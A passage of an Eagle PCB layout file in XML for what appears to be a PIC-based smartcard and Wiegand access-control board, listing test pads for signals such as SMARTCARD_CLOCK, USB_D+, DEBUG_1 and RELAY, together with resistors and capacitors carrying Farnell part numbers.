smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"NAME\" x=\"51.151\" y=\"73.143\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"47.3999\" y=\"73.1\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n</element>\n<element name=\"TP20\" library=\"testpad\" package=\"TP20R\" value=\"SMARTCARD_VCC\" x=\"18.9\" y=\"47.1\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"18.9\" y=\"44.56\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"23.1\" y=\"46.65\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"23.562\" y=\"45.184\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"18.9\" y=\"47.1\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP21\" library=\"testpad\" package=\"TP20R\" value=\"SMARTCARD_RESET\" x=\"16.7\" y=\"41.9\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"16.7\" y=\"39.36\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"20.7\" y=\"41.55\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"23.562\" y=\"42.984\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"16.7\" y=\"41.9\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP22\" library=\"testpad\" package=\"TP20R\" value=\"SMARTCARD_CLOCK\" x=\"10.8\" y=\"39.2\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"10.8\" y=\"36.66\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"9.6\" y=\"39.05\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"16.462\" y=\"37.084\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"10.8\" y=\"39.2\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP23\" library=\"testpad\" package=\"TP20R\" value=\"SMARTCARD_TX_PIC_RX\" x=\"11.6\" y=\"65.3\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"11.6\" y=\"62.76\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"15.5\" y=\"67.85\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"25.862\" y=\"66.884\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"11.6\" y=\"65.3\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP24\" library=\"testpad\" package=\"TP20R\" value=\"PIC_!SS1\" x=\"102\" y=\"44.4\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"102\" y=\"41.86\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"103.3\" y=\"44.25\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR180\"/>\n<attribute name=\"VALUE\" x=\"100.662\" y=\"44.784\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"102\" y=\"44.4\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP25\" library=\"testpad\" package=\"TP20R\" value=\"PIC_SDO1\" x=\"89.2\" y=\"46.7\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"89.2\" y=\"44.16\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"87.8\" y=\"45.75\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"91.662\" y=\"44.784\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"89.2\" y=\"46.7\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP26\" library=\"testpad\" package=\"TP20R\" value=\"PIC_SCK1\" x=\"95.7\" y=\"64.6\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"95.7\" y=\"62.06\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"99.9\" y=\"64.45\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"99.962\" y=\"65.784\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"95.7\" y=\"64.6\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP27\" library=\"testpad\" package=\"TP20R\" value=\"PIC_SDI1\" x=\"1.9\" y=\"35.1\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"1.9\" y=\"32.56\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"6.1\" y=\"34.35\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"5.662\" y=\"32.884\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"1.9\" y=\"35.1\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP28\" library=\"testpad\" package=\"TP20R\" value=\"SD_CARD_DETECT\" x=\"82.8\" y=\"62.7\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"82.8\" y=\"60.16\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"81.9\" y=\"63.25\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"81.362\" y=\"62.084\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"82.8\" y=\"62.7\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP30\" library=\"testpad\" package=\"TP20R\" value=\"USB_D-\" x=\"83.9\" y=\"57.8\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"83.9\" y=\"55.26\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"82.7\" y=\"58.35\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"82.462\" y=\"57.084\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"83.9\" y=\"57.8\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP31\" library=\"testpad\" package=\"TP20R\" value=\"USB_D+\" x=\"73.67\" y=\"52.46\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"73.67\" y=\"49.92\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"77.87\" y=\"53.51\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"79.232\" y=\"52.344\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"73.67\" y=\"52.46\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP32\" library=\"testpad\" package=\"TP20R\" value=\"USBID\" x=\"78.4\" y=\"47.4\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"78.4\" y=\"44.86\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"80.3\" y=\"48.65\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"80.562\" y=\"45.284\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"78.4\" y=\"47.4\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP29\" library=\"testpad\" package=\"TP20R\" value=\"WIEGAND_1_OUT\" x=\"81\" y=\"73.5\" smashed=\"yes\" rot=\"MR90\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"78.46\" y=\"73.5\" size=\"1\" layer=\"38\" rot=\"MR90\"/>\n<attribute name=\"NAME\" x=\"85.3\" y=\"73.65\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"91.662\" y=\"72.384\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"81\" y=\"73.5\" size=\"1.778\" layer=\"28\" rot=\"MR90\" display=\"off\"/>\n</element>\n<element name=\"TP33\" library=\"testpad\" package=\"TP20R\" value=\"WIE0OUT\" x=\"75.9\" y=\"73.5\" smashed=\"yes\" rot=\"MR90\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"73.36\" y=\"73.5\" size=\"1\" layer=\"38\" rot=\"MR90\"/>\n<attribute name=\"NAME\" x=\"74.9\" y=\"72.35\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"74.862\" y=\"73.884\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"75.9\" y=\"73.5\" size=\"1.778\" layer=\"28\" rot=\"MR90\" display=\"off\"/>\n</element>\n<element name=\"TP34\" library=\"testpad\" package=\"TP20R\" value=\"WIE0IN\" x=\"66\" y=\"73.5\" smashed=\"yes\" rot=\"MR90\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"63.46\" y=\"73.5\" size=\"1\" layer=\"38\" rot=\"MR90\"/>\n<attribute name=\"NAME\" x=\"70.1\" y=\"73.15\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"70.962\" y=\"72.084\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"66\" y=\"73.5\" size=\"1.778\" layer=\"28\" rot=\"MR90\" display=\"off\"/>\n</element>\n<element name=\"TP35\" library=\"testpad\" package=\"TP20R\" value=\"WIE1IN\" x=\"60.4\" y=\"73.5\" smashed=\"yes\" rot=\"MR90\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"57.86\" y=\"73.5\" size=\"1\" layer=\"38\" rot=\"MR90\"/>\n<attribute name=\"NAME\" x=\"59.1\" y=\"73.75\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"58.762\" y=\"72.684\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"60.4\" y=\"73.5\" size=\"1.778\" layer=\"28\" rot=\"MR90\" display=\"off\"/>\n</element>\n<element name=\"TP36\" library=\"testpad\" package=\"TP20R\" value=\"DEBUG_4\" x=\"20.2\" y=\"73.3\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"20.2\" y=\"70.76\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"24.6\" y=\"72.55\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"26.662\" y=\"73.684\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"20.2\" y=\"73.3\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP37\" library=\"testpad\" package=\"TP20R\" value=\"DEBUG_3\" x=\"7.2\" y=\"73.2\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"7.2\" y=\"70.66\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"8.55\" y=\"71.7\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR90\"/>\n<attribute name=\"VALUE\" x=\"6.116\" y=\"74.362\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR270\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"7.2\" y=\"73.2\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP38\" library=\"testpad\" package=\"TP20R\" value=\"DEBUG_2\" x=\"16.7\" y=\"63.6\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"19.24\" y=\"63.6\" size=\"1\" layer=\"38\" rot=\"MR270\"/>\n<attribute name=\"NAME\" x=\"18.4\" y=\"64.05\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR180\"/>\n<attribute name=\"VALUE\" x=\"16.238\" y=\"62.416\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR180\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"16.7\" y=\"63.6\" size=\"1.778\" layer=\"28\" rot=\"MR270\" display=\"off\"/>\n</element>\n<element name=\"TP39\" library=\"testpad\" package=\"TP20R\" value=\"DEBUG_1\" x=\"12.2\" y=\"73.3\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"12.2\" y=\"70.76\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"17.4\" y=\"72.55\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"18.262\" y=\"73.684\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"12.2\" y=\"73.3\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"TP40\" library=\"testpad\" package=\"TP20R\" value=\"CLI_UART3_PIC_RX\" x=\"11.9\" y=\"31.1\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"14.44\" y=\"31.1\" size=\"1\" layer=\"38\" rot=\"MR270\"/>\n<attribute name=\"NAME\" x=\"11.35\" y=\"29.3\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR270\"/>\n<attribute name=\"VALUE\" x=\"12.516\" y=\"29.462\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR270\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"11.9\" y=\"31.1\" size=\"1.778\" layer=\"28\" rot=\"MR270\" display=\"off\"/>\n</element>\n<element name=\"TP41\" library=\"testpad\" package=\"TP20R\" value=\"CLI_UART3_PIC_TX\" x=\"16.2\" y=\"31.1\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"18.74\" y=\"31.1\" size=\"1\" layer=\"38\" rot=\"MR270\"/>\n<attribute name=\"NAME\" x=\"15.75\" y=\"29.6\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR270\"/>\n<attribute name=\"VALUE\" x=\"17.316\" y=\"29.662\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR270\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"16.2\" y=\"31.1\" size=\"1.778\" layer=\"28\" rot=\"MR270\" display=\"off\"/>\n</element>\n<element name=\"TP42\" library=\"testpad\" package=\"TP20R\" value=\"RELAY\" x=\"93.2\" y=\"41.5\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"93.2\" y=\"38.96\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"94.5\" y=\"42.65\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"95.062\" y=\"39.584\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" value=\"?\" x=\"93.2\" y=\"41.5\" size=\"1.778\" layer=\"28\" rot=\"MR0\" display=\"off\"/>\n</element>\n<element name=\"JP19\" library=\"SparkFun 26-2-11\" package=\"1X02_LOCK_LONGPADS\" value=\"\" x=\"9.8\" y=\"3\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"9.8\" y=\"3\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"9.8\" y=\"3\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"9.8\" y=\"3\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"9.8\" y=\"3\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"9.8\" y=\"3\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"9.8\" y=\"3\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"9.67\" y=\"1.322\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"11.07\" y=\"6.302\" size=\"1.27\" layer=\"27\" font=\"vector\" rot=\"R180\"/>\n</element>\n<element name=\"C31\" library=\"resistor\" package=\"C0603\" value=\"1nF\" x=\"22.3\" y=\"5.9\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"22.3\" y=\"5.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"22.3\" y=\"5.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"22.3\" y=\"5.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"1414606\" x=\"22.3\" y=\"5.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"22.3\" y=\"5.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"22.3\" y=\"5.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"21.438\" y=\"4.911\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"23.832\" y=\"5.011\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"22.3\" y=\"5.9\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"C32\" library=\"resistor\" package=\"C0805\" value=\"10uF\" x=\"25.1\" y=\"8.1\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"25.1\" y=\"8.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"25.1\" y=\"8.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"1867958\" x=\"25.1\" y=\"8.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"25.1\" y=\"8.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"25.1\" y=\"8.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"24.184\" y=\"7.111\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"27.086\" y=\"6.911\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"25.1\" y=\"8.1\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"C33\" library=\"resistor\" package=\"C0805\" value=\"10uF\" x=\"42.2\" y=\"2\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"42.2\" y=\"2\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"42.2\" y=\"2\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"1867958\" x=\"42.2\" y=\"2\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"42.2\" y=\"2\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"42.2\" y=\"2\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"41.184\" y=\"0.911\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"43.886\" y=\"0.711\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"42.2\" y=\"2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"R37\" library=\"resistor\" package=\"R0603\" value=\"100K\" x=\"31.2\" y=\"5.1\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"31.2\" y=\"5.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"31.2\" y=\"5.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"31.2\" y=\"5.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"9330402\" x=\"31.2\" y=\"5.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"31.2\" y=\"5.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"31.2\" y=\"5.1\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"29.489\" y=\"6.489\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"32.068\" y=\"6.689\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"31.2\" y=\"5.1\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"R38\" library=\"resistor\" package=\"R0603\" value=\"47K\" x=\"38\" y=\"1.9\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"38\" y=\"1.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"38\" y=\"1.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"38\" y=\"1.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"2078919\" x=\"38\" y=\"1.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"38\" y=\"1.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"38\" y=\"1.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"39.189\" y=\"3.611\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"39.189\" y=\"1.132\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"38\" y=\"1.9\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"R39\" library=\"resistor\" package=\"R0603\" value=\"1K\" x=\"37.1\" y=\"6\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"37.1\" y=\"6\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"37.1\" y=\"6\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"37.1\" y=\"6\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"9330402\" x=\"37.1\" y=\"6\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"37.1\" y=\"6\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"37.1\" y=\"6\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" 